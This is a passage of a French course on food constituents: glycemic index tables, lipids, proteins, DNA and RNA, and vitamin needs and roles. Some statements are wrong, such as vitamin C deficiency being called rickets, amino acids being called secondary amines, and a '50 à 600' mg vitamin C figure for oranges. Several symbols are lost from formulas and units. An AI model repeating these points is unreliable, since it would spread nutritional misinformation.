en 15 minutes<br> Papaye<br> Barre de c&eacute;r&eacute;ales</td> </tr> <tr> <td width="100" align="center" valign="middle" class="encadrer">55</td> <td class="basdepage">Biscuit sec type &laquo;&nbsp;Petit beurre&nbsp;&raquo;<br> Biscuits sabl&eacute;s<br> Igname</td> </tr> </table> <table cellspacing="0" cellpadding="10" hspace="8" vspace="7" border="1" bordercolor="#CCCCCC"> <tr> <td colspan="2" bgcolor="#FFCc00"> <div align="center"><span class="date">GLUCIDES &Agrave; INDEX GLYC&Eacute;MIQUE BAS</span></div> </td> </tr> <tr> <td width="100" bgcolor="#F1F1F1" class="date">Index</td> <td bgcolor="#F1F1F1"><i class="date">Aliments</i></td> </tr> <tr> <td width="60" align="center" valign="middle" class="encadrer"> 50</td> <td class="basdepage" width="260"> <p> Pain complet (farine T150)<br> Sarrazin<br> Flocons d&#146;avoine<br> Riz brun complet<br> Petits pois en conserve<br> Patate douce<br> C&eacute;r&eacute;ales brutes (sans sucre ajout&eacute;)<br> Kiwi<br> Sorbets<br> Riz blancs riches en Amylose (Basmati, Doongara...)</p> </td> </tr> <tr> <td width="100" class="encadrer" align="center" valign="middle">45</td> <td class="basdepage">Muesli toast&eacute;<br> Pain au son<br> Boulgour entier<br> Grains de bl&eacute; dur entiers pr&eacute;cuits (Elby)<br> Gruau<br> Petits pois frais<br> Raisins</td> </tr> <tr> <td width="100" class="encadrer" align="center" valign="middle">40</td> <td class="basdepage">Jus d&#146;orange frais<br> Jus de pomme nature<br> Pain de seigle complet<br> P&acirc;tes compl&egrave;tes (farineT150)<br> Haricots rouges</td> </tr> <tr> <td width="100" class="encadrer" align="center" valign="middle">35</td> <td class="basdepage">Pain int&eacute;gral <br> P&acirc;tes (spaghettis) cuites &laquo;&nbsp;al dente&nbsp;&raquo;<br> Cr&egrave;me glac&eacute;e (alginates)<br> Vermicelles chinois<br> Ma&iuml;s indien ancestral<br> Quinoa<br> Carottes crues<br> Pois secs<br> Yogourt<br> Orange, pomme, poire, abricots secs, figues </td> </tr> <tr> <td width="100" class="encadrer" align="center" valign="middle">30</td> <td class="basdepage">P&acirc;tes int&eacute;grales <br> Lait<br> P&ecirc;ches<br> Lait chocolat&eacute; non sucr&eacute;<br> Haricots secs, haricots de Soissons<br> Haricots beurre, haricots verts<br> Lentilles brunes, pois chiches<br> Marmelade aux fruits (sans sucre ajout&eacute;)</td> </tr> <tr> <td width="100" class="encadrer" align="center" valign="middle">22</td> <td class="basdepage">Chocolat noir &agrave; + de 70&nbsp;% de cacao<br> Lentilles vertes, Pois cass&eacute;s<br> Cerises, pamplemousse, prune</td> </tr> <tr> <td width="100" class="encadrer" align="center" valign="middle">20</td> <td class="basdepage">Fructose</td> </tr> <tr> <td width="100" class="encadrer" align="center" valign="middle">15</td> <td class="basdepage">Grains de soja<br> Cacahu&egrave;tes<br> Abricots</td> </tr> <tr> <td width="100" align="center" valign="middle" class="encadrer">10</td> <td class="basdepage">Autres l&eacute;gumes verts, salades<br> Tomate, aubergines, poivrons<br> Ail, oignons, champignons, etc.</td> </tr> </table> ===Les lipides=== ====Définition==== Il existe 2 catégories de lipides : *Simples = acides gras *Complexes = lipides composés (glycérolipides, sphingolipides, céramides, cholestérol). Ce sont des esters d'alcool et d'acide gras dont la propriété essentielle est l'insolubilité dans l'eau. Mais la solubilité est possible dans les solvants organiques tels que l'acétone, l'alcool, le chloroforme, l'éther. Dans l'industrie alimentaire, on appelle « graisse » un lipide solide à température ambiante et huile un lipide liquide à température ambiante. En règle générale, huile = origine végétale alors que graisse = origine animale. Exception : la margarine. ==== Les lipides simples : les acides gras (AG) ==== Ce sont des acides carboxyliques (R-COOH) composés d'une fonction carboxylique (-COOH) et d'une chaîne hydrogénocarbonée (R-). Le nombre total n d'atomes C de la molécule donnera le nom de la molécule. n4 et n est toujours pair. La chaîne hydrogénocarbonée contient ou non des doubles liaisons. Un acide gras ne renfermant aucune double liaison est appelé acide gras saturé (AGs). Un acide gras comportant une ou plusieurs doubles liaisons est appelé acide gras insaturé (une double liaison : AG mono-insaturé (AGmi), deux doubles liaisons et plus : AG poly-insaturé (AGpi). Les AG poly-insaturés font essentiellement partie du domaine végétal. Ces AG poly-insaturés constituent les AG essentiels, c'est-à-dire les AG nécessaires au fonctionnement de l'organisme mais celui-ci est incapable de les produire lui-même, donc il faut les lui apporter par voie alimentaire. ===== Acides gras saturés ===== [[Image:Image064constituants.gif]] [[Image:Panneau attention 20.png]] Formule générale des acides gras saturés : CH3-(CH2)n-2-COOH ou CnH2nO2 [[Image:exemple.gif]] : acide palmitique (n=16) : formule brute = C16H32O2 et semi-développée = CH3(CH2)14-COOH ===== Acides gras insaturés ===== Cn,xy,z…n désigne le nombre de C de l'acide gras, x désigne le nombre de doubles liaisons contenu dans la molécule, y,z... désignent les positions des doubless liaisons. La double liaison est placée après l'atome de C indiqué. La numérotation des C commence avec C1 porteur de la fonction carboxylique. [[Image:Image066constituants.gif]] [[Image:exemple.gif]] : Trouvez les formules développées et semi-développées de l'acide linolénique (C18,39,12,15), de l'acide arachidonique (C20,45,8,11,14). [[Image:Image068constituants.gif]] [[Image:Panneau attention 20.png]] Formule générale des acides gras insaturés : CnH2n-2xO2 ===== Propriétés des acides gras ===== [[Image:Panneau attention 20.png]] n<10  liquide à température ambiante, n>10  solide à température ambiante [[Image:Panneau attention 20.png]] Le nombre de doubles liaisons diminue le point de fusion. En conséquence, les AGmi et les AGpi sont largement représentés dans les huiles et rendent ces dernières liquides à température ambiante. A l'inverse, les graisses animales sont solides à température ambiante du fait de la teneur importante en AGs. ===== Sources alimentaires ===== *Lipides animaux : saindoux, beurre, viandes, œufs, poissons, lait entier *Lipides végétaux : AGmi et AGpi : huiles, fruits oléagineux (soja) ==== Les molécules lipidiques composées ou hétérolipides ==== ===== Les glycérolipide s===== Ce sont des esters de glycérol et d'acides gras (estérification = résultat de la combinaison entre une fonction alcool et une fonction acide). [[Image:Image070constituants.gif]] [[Image:Image072constituants.gif]] [[Image:Image074constituants.gif]] [[Image:Image076constituants.gif]] [[Image:Panneau attention 20.png]] Il existe 2 formes de stockage de l'énergie dans l'organisme : *les triglycérides stockés dans les adipocytes *le glycogène stocké dans le foie ou les muscles 3ème forme plus secondaire : *les protides au niveau des muscles (le foie utilise les acides aminés comme source d'énergie) [[Image:Panneau attention 20.png]] 1 glycérol + 1 AG → 1 monoglycéride + H2O, 1 glycérol + 2 AG → 1 diglycéride + 2 H2O Les glycérolipides ne peuvent pas circuler librement dans le sang car celui-ci ne peut transporter aucun élément insoluble dans le plasma. Ils sont donc transportés dans le sang via des lipoprotéines. Il existe plusieurs types de lipoprotéines : *Chylomicrons : chargés de véhiculer dans la lymphe les triglycérides absorbés par voie intestinale lors de la digestion. *VLDL = lipoprotéines de très faible densité *LDL = lipoprotéines de faible densité *HDL = lipoprotéines de forte densité ===== Les glycérophospholipides ===== Ce sont des molécules dérivant des acides phosphatidiques. [[Image:Image078constituants.gif]] On peut encore fixer de la choline sur le dernier OH de l'acide phosphatidique. [[Image:Image080constituants.gif]] Les phospholipides entrent dans la composition des membranes cytoplasmiques des cellules. [[Image:Image082constituants.gif]] ==== Rôles des lipides ==== *structural car les lipides entrent dans la composition des membranes cytoplasmiques *énergétique car 1 g de lipides = 38 kJ (les lipides sont stockés sous forme de triglycérides). *fonctionnel car certaines molécules telles que le cholestérol entrent dans la composition de certaines hormones appelées stéroïdiennes (ex : hormones sexuelles). === Les protides === ==== Définition ==== Ce sont des molécules organiques contenant C, H, O et surtout N 2 types : *molécules simples : acides aminés *molécules complexes : polymères d'acides aminés c'est à dire composés d'un assemblage d'acides aminés. ==== Les acides aminés ==== Les acides aminés sont des acides car ils portent une fonction carboxylique (R-COOH). Ils portent aussi une fonction amine (R-NH2), en fait ce sont des amines II. [[Image:Image084constituants.gif]] Dans la nature il existe plus de 20 radicaux (R) différents, c'est-à-dire qu'il existe 20 acides aminés [[Image:Image086constituants.gif]] Dans la nature on ne trouve que des acides aminés de configuration L. Tous les acides aminés portent au moins un C* sauf la glycine (Gly) ou glycocolle : [[Image:Image088constituants.gif]] Parmi ces 20 acides aminés, certains sont appelés acides aminés indispensables (cf cours d'alimentation). Un acide aminé indispensable est un acide aminé qui n'est pas synthétisé par le corps humain et doit donc être apporter par voie alimentaire sinon il y a un risque de dénutrition. ==== La liaison peptidique ==== ===== Condensation entre la fonction amine et la fonction carboxylique ===== Toutes les réactions de condensation (ou réaction d'isomérisation) s'effectuent par formation d'une molécule d'eau (H2O  H+ + OH-). [[Image:Image090constituants.gif]] ===== Condensation entre deux acides aminés ===== [[Image:Image092constituants.gif]] On peut augmenter le taux de polymérisation (tri, polypeptide) du côté du groupement COOH libre. ==== Les protéines ==== ===== Définition ===== Une protéine est un polymère d'acides aminés c'est-à-dire une macromolécule résultant de l'association de nombreuses unités de base (= acide aminé) réunies entre elles par des liaisons peptidiques. Selon le nombre (n) d'acides aminés : *n<10, on parle d'oligopeptides *10<n<80, on parle de polypeptides *n>80, on parle de protéines Lorsqu'on regarde la masse molaire des acides aminés on constate qu'elle est  100 g.mol-1. La masse molaire des protéines est très élevée d'où l'appellation de macromolécules pour les protéines. Une protéine est définie par sa structure Iaire, c'est-à-àdire la séquence des acides aminés. A partir d'un ensemble d'acides aminés, l'organisme est capable de créer une protéine. L'information qui permet de conduire à la structure Iaire de la protéine est contenue dans la molécule d'ADN. [[Image:Image094constituants.gif]] *Structure IIaire : Il existe des interactions entres les différents radicaux des acides aminés de la chaîne peptidique qui font que la protéine prendra une forme d'hélice ou une forme de feuillet plissé. *Structure IIIaire : correspond à un aspect tridimensionnel de la protéine, qui ne présente pas une structure plane mais une conformation dans l'espace. *Structure IVaire : correspond à l'association de plusieurs sous-unités protéiques pour constituer une molécule complexe fonctionnelle. Ex : l'hémoglobine (pigment chargé du transport de l'O2) présente une structure protéique comportant 4 sous unités (1, 2, 1, 2) chez l'adulte. ===== Mise en évidence des protéines ===== *Test du Biuret : met en évidence les liaisons peptidiques *Thermocoagulation : la chaleur a tendance à faire prendre en masse les protéines  on a affaire à une dénaturation protéique. [[Image:exemple.gif]] : l'œuf dur. Dans le blanc → ovalbumine (protéine soluble). Si on chauffe, on obtient un solide (les protéines se transforment). [[Image:exemple.gif]] : la gélatine. La collagène de la viande, lorsqu'on la fait bouillir, donne de la gélatine. *Test xanthoprotéique : la solution protéique est mise en présence d'HNO3 puis chauffée. On obtient une coloration jaune qui, additionnée de KOH, devient orange. La coloration orange obtenue est spécifique des acides aminés aromatiques présents dans la protéine (ex : phénylalanine, tryptophane). *Précipitation par l'acide trichloracétique ===== Les différents types de protéines ===== On distingue les holoprotéines et les hétéroprotéines Les holoprotéines : selon leur structure on distingue les protéines fibrilaires ou les protéines globulaires (ex : hémoglobine). Les holoprotéines sont exclusivement constituées d'acides aminés. Les hétéroprotéines : elles sont constituées d'une fraction protéique associée à un groupement minéral (ex : phosphoprotéines dans les os) ou à une autre molécule organique (ex : glycoprotéines marqueurs de groupes sanguins, lipoprotéines LDL, HDL chargées de transporter le cholestérol dans l'organisme. Problème de LDL-cholestérol : il a des récepteurs dans les artères → formation de plaques d'athérome → athérosclérose → l'artère se durcit → le sang est ralenti et sa vitesse est augmentée à la sortie de l'artère → phénomène d'hypertension. Les récepteurs aux LDL se créent à la suite de repas trop riches en graisses, cigarette, alcool. Les HDL-cholestérol récupèrent le cholestérol et l'amènent dans le foie où il est dégradé, d'où l'appellation de « bon cholestérol » et de « mauvais cholestérol ». ===== Rôles biologiques des protéines ===== Les protéines présentent plusieurs rôles : énergétique, structural et fonctionnel. *Énergétique : 1 g de protides = 17 kJ. Toutefois, ce rôle est secondaire. On ne fabrique pas d'énergie à partir de protides sauf au niveau du foie qui fabrique son énergie à partir de protides. Or en cas de jeûne important, l'organisme utilise les protides comme source d'énergie. *Structural : les protéines interviennent dans la structure de toutes les membranes biologiques. Elles entrent dans la constitution de tous les tissus de l'organisme d'où l'appellation de molécules batisseuses. *Fonctionnel : les protéines représentent l'activité biologique la plus importante : [[Image:exemple.gif]] : Les enzymes sont de nature protéiques, les médiateurs chimiques, les hormones, les anticorps, l'hémoglobine sont de nature protéique. === Les acide nucléiques === ==== Définition ==== Les acides nucléiques sont des molécules de l'information génétique. On les trouve essentiellement dans le noyau des cellules. Il existe 2 types d'acides nucléiques fondamentaux : *Acide désoxyribonucléique (ADN contient du désoxyribose) localisé essentiellement dans le noyau et les mitochondries. *Acide ribonucléique (ARN contient du ribose) localisé dans le noyau, les ribosomes, le cytoplasme. ADN et ARN sont des polymères des désoxyribonucléotides (ADN) et de ribonucléotides (ARN) ==== Nucléotides ==== Unités de base des acides nucléiques. Molécules complexes (association de plusieurs molécules) constituées de 3 molécules de base : ose (en C5), acide phosphorique, base azotée. ===== L'ose ===== Le ribose est un D-aldopentose [[Image:Image096constituants.gif]] =====Acide phosphorique===== Formule brute H3PO4. Présent à la fois au niveau des désoxyribonucléotides et des ribonucléotides. [[Image:Image098constituants.gif]] =====Bases azotées===== On distingue 2 types : les bases puriques (renfermant un noyau de purine) et les bases pyrimidiques (renfermant un noyau de pyrimidine). *Il existe 2 bases puriques : l'adénine (A) et la guanine (G). *Il existe 3 bases pyrimidiques : la thymine (T), la cytosine (C), et l'uracile (U). ===== Les désoxyribonucléotides ===== Il en existe 4 différents : A, G, C et T [[Image:Image100constituants.gif]] [[Image:Image102constituants.gif]] ===== Les ribonucléotides ===== Il en existe 4 différents : A, G, C et U [[Image:Image104constituants.gif]] [[Image:Image106constituants.gif]] ==== L'ADN ==== L'ADN est un polymère de désoxyribonucléotides contenant les bases A, G, T et C. On s'est aperçu que les rapports A/T=1 → A=T, G/C=1 → G=C et (base purique)/(base pyrimidique)=(A+G)/(T+C)=1 → A+G=T+C, (A+T)/(G+C)1. Des chercheurs ont ainsi pu mettre en évidence la complémentarité des bases azotées : A est toujours associée à T et G est toujours associée à C. Du fait de cette complémentarité, la molécule d'ADN est constituée de 2 chaînes de polymères de désoxyribonucléotides → structure bicaténaire. [[Image:Image108constituants.gif]] Dans l'espace, on obtient une double hélice : celle de Watson et Crick (prix Nobel en 1962). L'hélice en spirale est constituée de 10 paires de bases par tour de spire. Chaque paire de bases est séparée par 0,34nm. ====L'ARN==== Polymères de ribonucléotides (A, G, C, U), voir figure ci-dessus : « écritures simplifiées des nucléotides ». La molécule d'ARN est monocaténaire → formée d'une seule chaîne. On l'écrit par la succession des bases azotées : 5' A-U-G-G-C-C-A-U 3' ==== Conclusion et application ==== Quelles que soient les espèces animales ou végétales : A/T et G/C = 1 → toutes les molécules d'ADN sont construites sur le même modèle bicaténaire c'est-à-dire double hélice de Watson et Crick. En revanche, lorsque l'on calcule (A+T)/(G+C)1 et le rapport est différent suivant l'espèce concernée. Il existe donc une variabilité moléculaire selon l'espèce. La molécule d'ADN contient une information codante pour l'espèce. On parle d'information génétique. C'est-à-dire que quand il y a reproduction, il y a maintien de l'information génétique. Cette transmission s'effectue avec conservation de l'information. Il existe donc un système permettant de copier l'information sans la détériorer. Ce mécanisme s'appelle la réplication de l'ADN. Cette information génétique codera pour des molécules jouant un rôle structural et fonctionnel ; autrement dit, pour la synthèse des protéines. La molécule d'ADN est protégée au sein du noyau. Dans celui-ci, elle existe sous deux formes : la forme diffuse (ou dispersée = la chromatine), la forme condensée (= les chromosomes). Formule chromosomique : 2n=46 chromosomes, soit 22 paires de chromosomes homologues (autosomes) et 1 paire de chromosomes sexuels. === Les vitamines === ==== Définition ==== Ce sont des molécules organiques sans valeur énergétique. Les besoins journaliers sont très faibles. Toutefois, ces molécules jouent un rôle important dans le métabolisme et permettent de nombreuses réactions chimiques. L'organisme est incapable de synthétiser la plupart des vitamines, il faut donc les apporter par voie alimentaire. On pense que plus d'une dizaine de substances répondent à cette définition des vitamines. Seuls 13 d'entre elles sont particulièrement retenues car on connaît leurs rôles biologiques et leurs sources alimentaires. Une carence en vitamines peut avoir des effets très graves sur l'organisme et provoquer la mort. [[Image:exemple.gif]] : avitaminose D → rachitisme Les vitamines sont classées en deux grandes catégories : *Vitamines liposolubles : A, D, E, K *Vitamines hydrosolubles : C, B (B1, B2, B3=PP, B5, B6, B8, B9) <center> <table border="1" bordercolor="#000000" cellpadding="5" cellspacing="0" width="497"> <tr valign="top"> <td bgcolor="#ffcc00" height="12" width="150"> <h5 class="western" lang="fr-FR"><font size="2">Lettre de la vitamine</font></h5> </td> <td bgcolor="#ffcc00" width="326"> <p class="western" align="center" lang="fr-FR"><font size="2"><b>Nom de la vitamine</b></font></p> </td> </tr> <tr valign="top"> <td height="16" width="150"> <p class="western" align="center" lang="fr-FR"><font size="2">A</font></p> </td> <td width="326"> <p class="western" align="justify" lang="fr-FR"><font size="2">Rétinol = axérophtol ou provitamine A = carotène</font></p> </td> </tr> <tr valign="top"> <td height="16" width="150"> <p class="western" align="center" lang="fr-FR"><font size="2">D</font></p> </td> <td width="326"> <p class="western" align="justify" lang="fr-FR"><font size="2">Cholécalciférol = ergocalciférol</font></p> </td> </tr> <tr valign="top"> <td height="16" width="150"> <p class="western" align="center" lang="de-DE"><font size="2">E</font></p> </td> <td width="326"> <p class="western" align="justify" lang="de-DE"><font size="2">tocophérol</font></p> </td> </tr> <tr valign="top"> <td height="16" width="150"> <p class="western" align="center" lang="de-DE"><font size="2">K</font></p> </td> <td width="326"> <p class="western" align="justify" lang="fr-FR"><font size="2">Phylloquinone ou métaquinone</font><font style="font-size: 8pt;" size="1"><!-- Ou mécaquinone (à vérifier) --></font></p> </td> </tr> <tr valign="top"> <td height="16" width="150"> <p class="western" align="center" lang="en-GB"><font size="2">B1</font></p> </td> <td width="326"> <p class="western" align="justify" lang="en-GB"><font size="2">Thyamine</font></p> </td> </tr> <tr valign="top"> <td height="16" width="150"> <p class="western" align="center" lang="en-GB"><font size="2">B2</font></p> </td> <td width="326"> <p class="western" align="justify" lang="fr-FR"><font size="2">riboflavine</font></p> </td> </tr> <tr valign="top"> <td height="16" width="150"> <p class="western" align="center" lang="fr-FR"><font size="2">B3</font></p> </td> <td width="326"> <p class="western" align="justify" lang="fr-FR"><font size="2">Niacine = acide nicotinique</font></p> </td> </tr> <tr valign="top"> <td height="16" width="150"> <p class="western" align="center" lang="fr-FR"><font size="2">B5</font></p> </td> <td width="326"> <p class="western" align="justify" lang="fr-FR"><font size="2">Acide pentothénique</font></p> </td> </tr> <tr valign="top"> <td height="16" width="150"> <p class="western" align="center" lang="nl-NL"><font size="2">B6</font></p> </td> <td width="326"> <p class="western" align="justify" lang="nl-NL"><font size="2">pyridoxine</font></p> </td> </tr> <tr valign="top"> <td height="16" width="150"> <p class="western" align="center" lang="nl-NL"><font size="2">B8</font></p> </td> <td width="326"> <p class="western" align="justify" lang="fr-FR"><font size="2">biotine</font></p> </td> </tr> <tr valign="top"> <td height="16" width="150"> <p class="western" align="center" lang="fr-FR"><font size="2">B9</font></p> </td> <td width="326"> <p class="western" align="justify" lang="fr-FR"><font size="2">Acide folique</font></p> </td> </tr> <tr valign="top"> <td height="16" width="150"> <p class="western" align="center" lang="fr-FR"><font size="2">B12</font></p> </td> <td width="326"> <p class="western" align="justify" lang="fr-FR"><font size="2">cyanocobalamine</font></p> </td> </tr> <tr valign="top"> <td height="15" width="150"> <p class="western" align="center" lang="fr-FR"><font size="2">C</font></p> </td> <td width="326"> <p class="western" style="page-break-after: avoid;" align="justify" lang="fr-FR"> <font size="2">Acide ascorbique</font></p> </td> </tr> </table> </center> ==== Besoins journaliers et sources ==== Les sources sont exclusivement alimentaires. La teneur en vitamines est variable selon les aliments. [[Image:exemple.gif]] : Cas de la vitamine C : <center> <table border="1" bordercolor="#000000" cellpadding="5" cellspacing="0" width="181"> <tr valign="top"> <td bgcolor="#ffcc00" height="27" width="77"> <p class="western" align="justify" lang="fr-FR"><font size="2">Aliments</font></p> </td> <td bgcolor="#ffcc00" width="82"> <p class="western" align="center" lang="fr-FR"><font size="2">Vitamine C (mg/100g)</font></p> </td> </tr> <tr valign="top"> <td height="13" width="77"> <p class="western" align="justify" lang="fr-FR"><font size="2">Persil</font></p> </td> <td width="82"> <p class="western" align="center" lang="fr-FR"><font size="2">200</font></p> </td> </tr> <tr valign="top"> <td height="13" width="77"> <p class="western" align="justify" lang="fr-FR"><font size="2">Poivron</font></p> </td> <td width="82"> <p class="western" align="center" lang="fr-FR"><font size="2">120</font></p> </td> </tr> <tr valign="top"> <td height="13" width="77"> <p class="western" align="justify" lang="fr-FR"><font size="2">Citron</font></p> </td> <td width="82"> <p class="western" align="center" lang="fr-FR"><font size="2">60 à 80</font></p> </td> </tr> <tr valign="top"> <td height="13" width="77"> <p class="western" align="justify" lang="fr-FR"><font size="2">Orange</font></p> </td> <td width="82"> <p class="western" align="center" lang="fr-FR"><font size="2">50 à 600</font></p> </td> </tr> <tr valign="top"> <td height="13" width="77"> <p class="western" align="justify" lang="fr-FR"><font size="2">Chou-fleur</font></p> </td> <td width="82"> <p class="western" align="center" lang="fr-FR"><font size="2">60</font></p> </td> </tr> <tr valign="top"> <td height="12" width="77"> <p class="western" align="justify" lang="fr-FR"><font size="2">Mâche</font></p> </td> <td width="82"> <p class="western" style="page-break-after: avoid;" align="center" lang="fr-FR"> <font size="2">50</font></p> </td> </tr> </table> </center> <center> <table border="1" bordercolor="#000000" cellpadding="5" cellspacing="0" width="384"> <tr valign="top"> <td bgcolor="#ffcc00" width="74"> <p class="western" align="justify" lang="fr-FR">Vitamines</p> </td> <td bgcolor="#ffcc00" width="288"> <p class="western" align="justify" lang="fr-FR">Besoins journaliers</p> </td> </tr> <tr valign="top"> <td width="74"> <p class="western" align="justify" lang="fr-FR">A</p> </td> <td width="288"> <p class="western" align="justify" lang="fr-FR">950 <font face="StarMath"></font>g (<span lang="en-GB"><font face="StarMath"></font></span> 1 mg) dont la moitié en carotène</p> </td> </tr> <tr valign="top"> <td width="74"> <p class="western" align="justify" lang="de-DE">D</p> </td> <td width="288"> <p class="western" align="justify" lang="fr-FR"><span lang="de-DE">10 </span><font face="StarMath"></font><span lang="de-DE">g</span></p> </td> </tr> <tr valign="top"> <td width="74"> <p class="western" align="justify" lang="de-DE">E</p> </td> <td width="288"> <p class="western" align="justify" lang="nl-NL">12 mg</p> </td> </tr> <tr valign="top"> <td width="74"> <p class="western" align="justify" lang="nl-NL">K</p> </td> <td width="288"> <p class="western" align="justify" lang="fr-FR"><span lang="nl-NL">40 </span><font face="StarMath"></font><span lang="nl-NL">g</span></p> </td> </tr> <tr valign="top"> <td width="74"> <p class="western" align="justify" lang="nl-NL">B1, B2, B3</p> </td> <td width="288"> <p class="western" align="justify" lang="nl-NL">1 &lt; B &lt; 1,5 mg</p> </td> </tr> <tr valign="top"> <td width="74"> <p class="western" align="justify" lang="nl-NL">B5</p> </td> <td width="288"> <p class="western" align="justify" lang="nl-NL">10 mg</p> </td> </tr> <tr valign="top"> <td width="74"> <p class="western" align="justify" lang="nl-NL">B6</p> </td> <td width="288"> <p class="western" align="justify" lang="nl-NL">2 mg</p> </td> </tr> <tr valign="top"> <td width="74"> <p class="western" align="justify" lang="fr-FR">B8</p> </td> <td width="288"> <p class="western" align="justify" lang="fr-FR"><br> </p> </td> </tr> <tr valign="top"> <td width="74"> <p class="western" align="justify" lang="fr-FR">B9</p> </td> <td width="288"> <p class="western" align="justify" lang="fr-FR">0,5 mg</p> </td> </tr> <tr valign="top"> <td width="74"> <p class="western" align="justify" lang="fr-FR">B12</p> </td> <td width="288"> <p class="western" align="justify" lang="fr-FR">3 <font face="StarMath"></font>g</p> </td> </tr> <tr valign="top"> <td width="74"> <p class="western" align="justify" lang="fr-FR">C</p> </td> <td width="288"> <p class="western" style="page-break-after: avoid;" align="justify" lang="fr-FR"> 80 mg</p> </td> </tr> </table> </center> Les besoins journaliers varient en fonction de l'âge, de la taille, de l'activité et de la situation physiologique (grossesse, allaitement). [[Image:exemple.gif]] : un nourrisson a besoin d'un apport en vitamines D supplémentaire jusqu'à l'âge de 2 ans. La femme enceinte a un besoin plus important en vitamine C, en complexe vitamine B-A et en vitamine D. La femme allaitante a besoin de C, A, D et B9. Le vieillard a un besoin important en vitamine C. Toutes les vitamines sont apportées par voie alimentaire. Toutefois, certaines d'entre elles sont issues de transformations organiques. [[Image:exemple.gif]] : vitamine A → transformation de la provitamine A ou carotène. La vitamine K est synthétisée par la flore commensale de l'intestin grêle, c'est-à-dire par des bactéries qui siègent dans l'intestin. Les vitamines B1, B2, B8 et B12 sont également élaborées par les bactéries intestinales. Les vitamines apportées par voie alimentaire sont stockées dans toutes les cellules de l'organisme mais principalement dans les cellules hépatiques ( = foie). Une alimentation équilibrée assure l'apport nécessaire en vitamines. De plus, les réserves sont importantes. [[Image:exemple.gif]] : réserves en vitamine A permettent de résister à une carence de 6 mois. Une réserve en vitamine D permet de résister pendant 2 mois. Toutefois, la carence en vitamine D est rare car celle-ci est issue d'une transformation du 7-déhydrocholestérol par l'action des UV. Une carence en vitamine C entraîne un rachitisme pouvant évoluer jusqu'à la mort du fait de l'hématurie (présence de sang dans les urines), des diarrhées sanglantes. Une carence en vitamine B3 entraîne une pellagre c'est à dire un œdème accompagné d'un érythème, des aphtes au niveau de la bouche et des muqueuses, une desquamation de la peau et des troubles psychiques. ==== Propriétés physico-chimiques ==== ===== Solubilité ===== ===== Sensibilité aux agents physico-chimiques ===== ====== chaleur ====== ====== lumière ====== ====== oxydant ====== ====== humidité ====== ==== Métabolisme des vitamines ==== Les vitamines sont absorbées au niveau intestinal. Le sang permet de faire circuler les vitamines hydrosolubles. Les vitamines liposolubles sont absorbées par voie lymphatique, or la lymphe se jette dans la circulation sanguine. Au niveau du sang il y a plusieurs utilisations : *stockage → foie *activation des vitamines (Ex : -carotène transformée en vitamine A) *Sutilisation des vitamines (Ex : utilisation des vitamines A, K dans le métabolisme énergétique) *trop utilisée → inefficace → élimination Les vitamines hydrosolubles sont éliminées dans les urines, les vitamines liposolubles par les selles. ==== Les rôles ==== <center> <table border="1" bordercolor="#000000" cellpadding="5" cellspacing="0" width="341"> <tr valign="top"> <td bgcolor="#ffcc00" width="54"> <p class="western" align="center" lang="fr-FR"><font size="2"><b>vitamine</b></font></p> </td> <td bgcolor="#ffcc00" width="266"> <p class="western" align="center" lang="fr-FR"><font size="2"><b>rôle</b></font></p> </td> </tr> <tr> <td width="54"> <p class="western" align="center" lang="fr-FR"><font size="2">A</font></p> </td> <td width="266"> <ul> <li><p class="western" style="margin-top: 0cm; margin-bottom: 0cm;" align="left" lang="fr-FR"> <font size="2">Intervient dans la croissance</font></p> </li><li><p class="western" style="margin-top: 0cm; margin-bottom: 0cm;" align="left" lang="fr-FR"> <font size="2">Vision nocturne</font></p> </li><li><p class="western" style="margin-top: 0cm; margin-bottom: 0cm;" align="left" lang="fr-FR"> <font size="2">Santé de la peau</font></p> </li><li><p class="western" style="margin-top: 0cm; margin-bottom: 0cm;" align="left" lang="fr-FR"> <font size="2">Résistance aux infections</font></p> </li><li><p class="western" style="margin-top: 0cm;" align="left" lang="fr-FR"> <font size="2">Pouvoir anti-oxydant</font></p> </li></ul> </td> </tr> <tr> <td width="54"> <p class="western" align="center" lang="fr-FR"><font size="2">D</font></p> </td> <td width="266"> <ul> <li><p class="western" style="margin-top: 0cm;" align="left" lang="fr-FR"> <font size="2">Croissance&nbsp;: fixation osseuse du Ca<sup>2+</sup></font></p> </li></ul> </td> </tr> <tr> <td width="54"> <p class="western" align="center" lang="fr-FR"><font size="2">E</font></p> </td> <td width="266"> <ul> <li><p class="western" style="margin-top: 0cm; margin-bottom: 0cm;" align="left" lang="fr-FR"> <font size="2">Anti-oxydant</font></p> </li><li><p class="western" style="margin-top: 0cm; margin-bottom: 0cm;" align="left" lang="fr-FR"> <font size="2">Fonctionnement musculaire et nerveux</font></p> </li><li><p class="western" style="margin-top: 0cm;" align="left" lang="fr-FR"> <font size="2">Fertilité</font></p> </li></ul> </td> </tr> <tr> <td width="54"> <p class="western" align="center" lang="fr-FR"><font size="2">K</font></p> </td> <td width="266"> <ul> <li><p class="western" style="margin-top: 0cm;" align="left" lang="fr-FR"> <font size="2">Coagulation du sang</font></p> </li></ul> </td> </tr> <tr> <td width="54"> <p class="western" align="center" lang="fr-FR"><font size="2">C</font></p> </td> <td width="266"> <ul> <li><p class="western" style="margin-top: 0cm; margin-bottom: 0cm;" align="left" lang="fr-FR"> <font size="2">Anti-fatigue</font></p> </li><li><p class="western" style="margin-top: 0cm; margin-bottom: 0cm;" align="left" lang="fr-FR"> <font size="2">Permet la lutte contre les infections</font></p> </li><li><p class="western" style="margin-top: 0cm; margin-bottom: 0cm;" align="left" lang="fr-FR"> <font size="2">Absorption du Fer</font></p> </li><li><p class="western" style="margin-top: 0cm;" align="left" lang="fr-FR"> <font size="2">Anti-oxydant</font></p> </li></ul> </td> </tr> <tr> <td width="54"> <p class="western" align="center" lang="fr-FR"><font size="2">B1</font></p> </td> <td width="266"> <ul> <li><p class="western" style="margin-top: 0cm; margin-bottom: 0cm;" align="left" lang="fr-FR"> <font size="2">Système nerveux</font></p> </li><li><p class="western" style="margin-top: 0cm;" align="left" lang="fr-FR"> <font size="2">Fonctionnement cardiaque</font></p> </li></ul> </td> </tr> <tr> <td width="54"> <p class="western" align="center" lang="fr-FR"><font size="2">B2</font></p> </td> <td width="266"> <ul> <li><p class="western" style="margin-top: 0cm; margin-bottom: 0cm;" align="left" lang="fr-FR"> <font size="2">Fonctionnement cellulaire</font></p> </li><li><p class="western" style="margin-top: 0cm;" align="left" lang="fr-FR"> <font size="2">Santé de la peau en lien avec autre complexes des vitamines B et A</font></p> </li></ul> </td> </tr> <tr> <td width="54"> <p class="western" align="center" lang="de-DE"><font size="2">B3</font></p> </td> <td width="266"> <ul> <li><p class="western" 